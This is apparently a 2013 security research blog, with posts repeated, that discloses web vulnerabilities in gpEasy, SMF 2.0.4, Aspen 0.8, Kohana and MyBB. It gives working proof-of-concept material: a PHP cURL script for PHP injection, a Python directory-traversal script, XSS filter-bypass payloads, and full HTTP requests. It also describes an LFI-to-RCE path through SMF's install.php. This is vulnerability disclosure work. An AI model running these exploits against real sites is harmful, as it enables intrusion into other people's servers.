Hi all :)
Last year I wrote about HTML injection possibility in gpEasy 2.3.3.
Durning tests, few days ago I found the same vulnerability in latest version of this nice CMS.
Below a little example (and traffic from Burp Suite) to let you know, where exactly you can find it at your own server.
It's good to mention that this vulnerability exists only if admin user is logged-in. Anyway, check it out:
Request:
------------------------------
POST //gpEasy_3.6/index.php/Admin_Menu?menu=gpmenu&&menus[ExtraEditArea2]=Menu&menuh[ExtraEditArea2]=&menuc[ExtraEditArea2]=&menus[ExtraEditArea4]=TopTwoMenu&menuh[ExtraEditArea4]=<h1>aaaaaaaaaaa</h1>&menuc[ExtraEditArea4]=&menus[ExtraEditArea7]=MiddleSubMenu&menuh[ExtraEditArea7]=&menuc[ExtraEditArea7]=&gpreq=json&jsoncallback=jQuery18309982016143655706_1366988534821 HTTP/1.1
Host: 1.2.3.4
(...)
Referer: http://1.2.3.4/gpEasy_3.6/index.php/Admin_Menu
(...)
Connection: close
Pragma: no-cache
Cache-Control: no-cache
old_title=Home&title=Home&new_label=Home&keywords=&description=&cmd=renameit&verified=e23dca833a&verified=e23dca833a&verified=e23dca833a&=Save%20Changes
------------------------------
and response now should be similar to this one:
------------------------------
(...)
,CONTENT:"<ul class=\"menu_top\"><li class=\"li_0 li_title_a\"><h1>aaaaaaaaaaa</h1></li><li class=\"li_1 li_title_b\"><h1>aaaaaaaaaaa</h1><ul><li class=\"li_0 li_title_c\"><h1>aaaaaaaaaaa</h1></li></ul></li><li class=\"li_2 li_title_d\"><h1>aaaaaaaaaaa</h1><ul><li class=\"li_0 li_title_special_contact\"><h1>aaaaaaaaaaa</h1></li></ul></li></ul>"},{DO:"replacemenu",SELECTOR:"#ExtraEditArea7",CONTENT:"<div class=\"emtpy_menu\"></div>"},{DO:"inner",SELE
(...)
------------------------------
How to find this kind of vulnerabilities you can find here (old article in Polish), here , here and here too. :)
Enjoy and remember to use it only in legal projects. ;)
Cheers o/
Monday, 29 April 2013
Tuesday, 23 April 2013
[EN] p0c php injection in SMF 2.0.4
Thanks for all mails about 'how to inject php code in latest smf'! I'm glad that you're reading my blog. ;)
Below is simple proof-of-concept code. Remember to replace 2 values: cookie, and path to your SMF installation. In other way, code will not work. ;)
PoC in PHP:
---8<---
<?php
// proof of concept that latest SMF (2.0.4) can be exploited by php injection.
// payload code must escape from \', so you should try with something like that:
// p0c\';phpinfo();// as a 'dictionary' value. Same story for locale parameter.
// For character_set - another story, as far as I remember, because here we have
// a nice stored xss. ;)
// 21/04/2013
// http://HauntIT.blogspot.com
// to successfully exploit smf 2.0.4 we need correct admin's cookie:
$cookie = 'SMFCookie956=allCookiesHere';
$ch = curl_init('http://smf_2.0.4/index.php?action=admin;area=languages;sa=editlang;lid=english');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_POST, 1); // send as POST (to 'On')
curl_setopt($ch, CURLOPT_POSTFIELDS, "character_set=en&locale=helloworld&dictionary=p0c\\';phpinfo();//&spelling=american&ce0361602df1=c6772abdb6d5e3f403bd65e3c3c2a2c0&save_main=Save");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$page = curl_exec($ch);
echo 'PHP code:<br>'.$page;
curl_close($ch); // to close 'logged-in' part
?>
--->8---
And pastebin version :)
Remember to test only your SMF! ;)
o/
Below is simple proof-of-concept code. Remember to replace 2 values: cookie, and path to your SMF installation. In other way, code will not work. ;)
PoC in PHP:
---8<---
<?php
// proof of concept that latest SMF (2.0.4) can be exploited by php injection.
// payload code must escape from \', so you should try with something like that:
// p0c\';phpinfo();// as a 'dictionary' value. Same story for locale parameter.
// For character_set - another story, as far as I remember, because here we have
// a nice stored xss. ;)
// 21/04/2013
// http://HauntIT.blogspot.com
// to successfully exploit smf 2.0.4 we need correct admin's cookie:
$cookie = 'SMFCookie956=allCookiesHere';
$ch = curl_init('http://smf_2.0.4/index.php?action=admin;area=languages;sa=editlang;lid=english');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_POST, 1); // send as POST (to 'On')
curl_setopt($ch, CURLOPT_POSTFIELDS, "character_set=en&locale=helloworld&dictionary=p0c\\';phpinfo();//&spelling=american&ce0361602df1=c6772abdb6d5e3f403bd65e3c3c2a2c0&save_main=Save");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$page = curl_exec($ch);
echo 'PHP code:<br>'.$page;
curl_close($ch); // to close 'logged-in' part
?>
--->8---
And pastebin version :)
Remember to test only your SMF! ;)
o/
Monday, 22 April 2013
[EN] Aspen 0.8 directory Traversal PoC
Hi,
when I was reading a seclist.org I found a vulnerability in Aspen described by Daniel Ricardo dos Santos.
Below is a little proof-of-concept code. Maybe you will find it usefull. ;)
#!/usr/bin/env python
# aspen 0.8 directory traversal found by Daniel Ricardo dos Santos
# simple poc by : http://HauntIT.blogspot.com
#
import sys
import urllib
if len(sys.argv) < 2:
sys.stderr.write('usage: localhost /file/you/wanna/check')
sys.exit(1)
else:
testbug = sys.argv[1]+':80'+sys.argv[2]
print testbug
sock = urllib.urlopen(testbug)
response = sock.readlines()
i=0
print 'Testing: ',testbug
for line in response:
i+=1
print line
Good Job Daniel! ;)
Cheers o/
when I was reading a seclist.org I found a vulnerability in Aspen described by Daniel Ricardo dos Santos.
Below is a little proof-of-concept code. Maybe you will find it usefull. ;)
#!/usr/bin/env python
# aspen 0.8 directory traversal found by Daniel Ricardo dos Santos
# simple poc by : http://HauntIT.blogspot.com
#
import sys
import urllib
if len(sys.argv) < 2:
sys.stderr.write('usage: localhost /file/you/wanna/check')
sys.exit(1)
else:
testbug = sys.argv[1]+':80'+sys.argv[2]
print testbug
sock = urllib.urlopen(testbug)
response = sock.readlines()
i=0
print 'Testing: ',testbug
for line in response:
i+=1
print line
Good Job Daniel! ;)
Cheers o/
[EN] Way of attack via SQL Injection
[EN] MyBB 1.6.10 Released – Security & Maintenance Release
Once upon a time I found few interesting behaviors at MyBB.
Right now I just got an email about new release ;)
You can read more about it here:
http://blog.mybb.com/2013/04/22/mybb-1-6-10-released-security-maintenance-release/
I would like to thank MyBB Team for a fast response and great work!
You're doing it right!
Regards
o/
Right now I just got an email about new release ;)
You can read more about it here:
http://blog.mybb.com/2013/04/22/mybb-1-6-10-released-security-maintenance-release/
I would like to thank MyBB Team for a fast response and great work!
You're doing it right!
Regards
o/
Monday, 15 April 2013
[EN] SMF 2.0.4 - PHP Injection
I found a great possibility to exploit latest SMF.
There is a PHP Injection vulnerability. This could be exploited by CSRF attack.
If you need details, feel free to send me an email because for now p0c won't be public. ;)
There is a PHP Injection vulnerability. This could be exploited by CSRF attack.
If you need details, feel free to send me an email because for now p0c won't be public. ;)
[EN] Kohana Framework 2.3.4 0day
Durning one of my pentests I found that my client used Kohana Framework to build his website.
That's nice because I though it was very 'secured' framework. My opinion changed when I realised that
in Input.php file we have a few described 'filters' against few attacks. For example few blacklisted tags to
not add a XSS-code (you should read this file from Kohana, very interesting :)).
Anyway, as 'script' and 'img src' and 'embed' and other, other tags are denied, maybe we can use some trick from Michal Zalewski book - Tangled Web.
So called 'broken tags' can be used here to smuggle our XSS code.
Instead of 'simple' (and filtered here) 'img src' tag, let's 'delete' all 'white spaces'.
Now our payload-string should looks like this (one in latest post about SMF 2.0.4 vulnerabilities):
<img/src="x"/onerror="alert(1)">
Now it is possible to send HTML/JS-code to Kohana-based site and exploit it.
Try this at home because you will see that there are few other tags that could be smuggled;)
HTML injection is also possible.
Enjoy o/
That's nice because I though it was very 'secured' framework. My opinion changed when I realised that
in Input.php file we have a few described 'filters' against few attacks. For example few blacklisted tags to
not add a XSS-code (you should read this file from Kohana, very interesting :)).
Anyway, as 'script' and 'img src' and 'embed' and other, other tags are denied, maybe we can use some trick from Michal Zalewski book - Tangled Web.
So called 'broken tags' can be used here to smuggle our XSS code.
Instead of 'simple' (and filtered here) 'img src' tag, let's 'delete' all 'white spaces'.
Now our payload-string should looks like this (one in latest post about SMF 2.0.4 vulnerabilities):
<img/src="x"/onerror="alert(1)">
Now it is possible to send HTML/JS-code to Kohana-based site and exploit it.
Try this at home because you will see that there are few other tags that could be smuggled;)
HTML injection is also possible.
Enjoy o/
Sunday, 14 April 2013
[EN] SMF 2.0.4 - full disclosure
Hi,
as I said few days ago, I found few vulnerabilities in latest SMF.
First of all, let's check a local file include vulnerability.
If admin will not delete the install.php file after installation, attacker is able to run command and compromise
the server. Idea is simple. User who is able to put php-file (with webshell) at SMF-installed-server,
can exploit a require_once() function to get a shell at remote host.
In install.php file you have a not filtered POST parameter, db_type. If you will set value of this parameter to
your 'evilshell', then you can run commands. Check it out:
That's right. Vulnerable line in install.php is 357:
(...)
require_once($sourcedir . '/Subs-Db-'. $db_type . '.php');
(...)
Another nice idea is to put persistent XSS code in SMF.
Here I will present only persistent XSS for admin user. (Maybe in the future, I will add here stored XSS code for normal user too, because I found that too.) If admin is logged in, he can create a new board.
'board_name' is vulnerable because we can put here unfiltered code to exploit XSS vulnerability.
Code will be added permanently. Look at this:
and successfully added code below:
* Update 15.04.2013 *
Another XSS for normal (registered) user is described below.
First you will see request for SMF, and second is response (part of it):
1. xss:
request:
POST /kuba/14.04/smf_2.0.4/index.php?action=pm;sa=settings;save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/kuba/14.04/smf_2.0.4/index.php?action=pm;sa=settings
Cookie: SMFCookie956=a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A40%3A%2266a7209472fa1c52741c57363dfb6acab71256c4%22%3Bi%3A2%3Bi%3A1555224490%3Bi%3A3%3Bi%3A3%3B%7D; PHPSESSID=hnfbpm852gmk94s53u5tt7jr23
Content-Type: multipart/form-data; boundary=---------------------------96503762710472713441302808443
Connection: close
Content-Length: 1373
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="pm_prefs"
0
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="default_options[view_newest_pm_first]"
0
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="pm_receive_from"
1
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="pm_email_notify"
1
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="default_options[popup_messages]"
0
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="default_options[copy_to_outbox]"
0
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="default_options[pm_remove_inbox_label]"
0
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="dc64ddea87"
a6e91d0ace8c74a87548a48274ac142a
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="u"
2
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="sa"
"><img/src="x"/onerror="alert(123)"><
-----------------------------96503762710472713441302808443--
Response for that, should be similar to this one:
(...)
</ul>
</div>
<a href="http://localhost/kuba/14.04/smf_2.0.4/index.php?action=pm;sa="><img/src="x"/onerror="alert(123)"><;f=inbox;l=-1;togglebar"><img id="menu_toggle" src="http://localhost/kuba/14.04/smf_2.0.4/Themes/default/images/admin/change_menu.png" alt="*" /></a>
<div id="admin_menu">
<ul class="dropmenu" id="dropdown_menu_1">
(...)
And view from Burp:
This post will be updated as soon as I will finish tests for admin user too because I think there is a nice add-shell-via-csrf vulnerability. But I must retest it to be 100% sure. :)
Enjoy o/
as I said few days ago, I found few vulnerabilities in latest SMF.
First of all, let's check a local file include vulnerability.
If admin will not delete the install.php file after installation, attacker is able to run command and compromise
the server. Idea is simple. User who is able to put php-file (with webshell) at SMF-installed-server,
can exploit a require_once() function to get a shell at remote host.
In install.php file you have a not filtered POST parameter, db_type. If you will set value of this parameter to
your 'evilshell', then you can run commands. Check it out:
 | |
| LFI to RCE in install.php |
That's right. Vulnerable line in install.php is 357:
(...)
require_once($sourcedir . '/Subs-Db-'. $db_type . '.php');
(...)
Another nice idea is to put persistent XSS code in SMF.
Here I will present only persistent XSS for admin user. (Maybe in the future, I will add here stored XSS code for normal user too, because I found that too.) If admin is logged in, he can create a new board.
'board_name' is vulnerable because we can put here unfiltered code to exploit XSS vulnerability.
Code will be added permanently. Look at this:
 | |
| Vulnerable board_name |
 | ||||
| Stored XSS |
* Update 15.04.2013 *
Another XSS for normal (registered) user is described below.
First you will see request for SMF, and second is response (part of it):
1. xss:
request:
POST /kuba/14.04/smf_2.0.4/index.php?action=pm;sa=settings;save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/kuba/14.04/smf_2.0.4/index.php?action=pm;sa=settings
Cookie: SMFCookie956=a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A40%3A%2266a7209472fa1c52741c57363dfb6acab71256c4%22%3Bi%3A2%3Bi%3A1555224490%3Bi%3A3%3Bi%3A3%3B%7D; PHPSESSID=hnfbpm852gmk94s53u5tt7jr23
Content-Type: multipart/form-data; boundary=---------------------------96503762710472713441302808443
Connection: close
Content-Length: 1373
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="pm_prefs"
0
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="default_options[view_newest_pm_first]"
0
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="pm_receive_from"
1
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="pm_email_notify"
1
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="default_options[popup_messages]"
0
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="default_options[copy_to_outbox]"
0
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="default_options[pm_remove_inbox_label]"
0
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="dc64ddea87"
a6e91d0ace8c74a87548a48274ac142a
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="u"
2
-----------------------------96503762710472713441302808443
Content-Disposition: form-data; name="sa"
"><img/src="x"/onerror="alert(123)"><
-----------------------------96503762710472713441302808443--
Response for that, should be similar to this one:
(...)
</ul>
</div>
<a href="http://localhost/kuba/14.04/smf_2.0.4/index.php?action=pm;sa="><img/src="x"/onerror="alert(123)"><;f=inbox;l=-1;togglebar"><img id="menu_toggle" src="http://localhost/kuba/14.04/smf_2.0.4/Themes/default/images/admin/change_menu.png" alt="*" /></a>
<div id="admin_menu">
<ul class="dropmenu" id="dropdown_menu_1">
(...)
And view from Burp:
 |
| SMF 2.0.4 XSSed again |
This post will be updated as soon as I will finish tests for admin user too because I think there is a nice add-shell-via-csrf vulnerability. But I must retest it to be 100% sure. :)
Enjoy o/
Subscribe to:
Posts (Atom)